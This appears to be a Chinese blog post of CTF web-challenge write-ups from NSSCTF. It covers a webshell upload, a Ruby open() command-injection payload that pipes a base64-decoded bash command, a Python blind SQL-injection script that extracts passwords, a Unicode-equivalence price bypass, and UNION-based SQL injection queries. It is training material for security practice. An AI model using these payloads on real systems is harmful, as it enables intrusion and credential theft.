NSSCTF第16页(3)
[SWPUCTF 2023 秋季新生赛]ez_talk
上传一句话木马得到

抓包改文件类型
上传成功,只是倒序而已

 得到flag
 得到flag
[第五空间 2021]PNG图片转换器
这道题采用的是ruby语言,第一次听说
2021-第五空间智能安全大赛-PNG图片转换器 | 管道符与反引号的配合、open()函数绝杀_[第五空间 2021]png图片转换器-CSDN博客
ruby的open函数存在命令注?反弹shell?
payload:
file=|bash -c "$(echo 'ZW52' | base64 -d)" 5a57a30b4e46f7124dcc51675f15add0.png?
只需要变echo后面的base编码就可以了



 最后在环境变量里找到了flag
 最后在环境变量里找到了flag
?[HZNUCTF 2023 preliminary]ezlogin
?看到了过滤的函数,以及username要base64编码

脚本 得到flag
 
 import base64
import requests
import time
s = requests.session()
url = "http://node5.anna.nssctf.cn:28239/"
flag = ''
i = 0
while True:
    i = i + 1
    Max = 128
    Min = 32
    Mid = (Max + Min) // 2
    while Min < Max:
        # payload = "1^(substr(database(),{},1)='{}')^1".format(i,j)
        # payload = "1'/**/or/**/(ord(substr(DATABASE(),{},1))/**/>/**/{})#".format(i,Mid)
        # payload = "1'/**/or/**/(ord(substr((SELECT/**/GROUP_CONCAT(TABLE_NAME)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA/**/like/**/'users'),{},1))/**/>/**/{})#".format(i,Mid)
        # payload = "1'/**/or/**/(ord(substr((SELECT/**/GROUP_CONCAT(COLUMN_NAME)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME/**/like/**/'user'),{},1))/**/>/**/{})#".format(i, Mid)
        payload = "1'/**/or/**/(ord(substr((SELECT/**/GROUP_CONCAT(Password)/**/FROM/**/user),{},1))/**/>/**/{})#".format(
            i, Mid)
        payload = base64.b64encode(payload[::-1].encode('utf-8')).decode('utf-8')
        data = {
            'username': payload
        }
        r = requests.post(url=url, data=data)
        if "success" in r.text:
            Min = Mid + 1
            Mid = (Min + Max) // 2
        else:
            Max = Mid
            Mid = (Min + Max) // 2
    flag = flag + chr(Mid)
    if Mid == 32:
        break
    print(flag)
    # 速度太快显示不完全
    time.sleep(0.5) 
 
 ?[ASIS 2019]Unicorn shop
?[ASIS 2019]Unicorn shop
 
源码

 <meta charset="utf-8"><!--Ah,really important,seriously. -->
 提示utf-8编码很重要
题目提示python unicode,利用的漏洞是unicode安全问题,是关于Unionde等价性的漏洞
post输入id=4&price=1337 时提示Only one char(?) allowed!
只能使用一个字符,一个字符能够购买id4,于是我们需要找到一个字符比1337大的数字,前端html使用的是utf-8,后端python处理使用的是unicode,编码不一致造成了转码安全问题
 在编码网站https://www.compart.com/en/unicode/,寻找大于1337的数字就可以得到flag
payload: 4???? %E1%8D%BC
 ?[b01lers 2020]Life On Mars
?[b01lers 2020]Life On Mars
 
点击网页没发现什么异常,也没找到什么点
bp抓包发现切换页面url是传参的

尝试sql注入,发现在传参后边注入1'回显是1
 可能是有sql注入的
 可能是有sql注入的
后面在尝试的时候发现要带着所有的参数进行注入才行
判断列数,发现3的时候回显异常,有两列

?看回显位,发现有两位

查询当前数据库
query?search=amazonis_planitia union select database(),2&{}&_=1702874710825

查表 query?search=amazonis_planitia union select 1,group_concat(table_name) from information_schema.tables where table_schema='alien_code'&{}&_=1702874710825
 查列
 查列
query?search=amazonis_planitia union select 1,group_concat(column_name) from information_schema.columns where table_name='code'&{}&_=1702874710825?

?查字段内容

就是在最开始找注入点的时候会卡一下,剩下的都还好
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!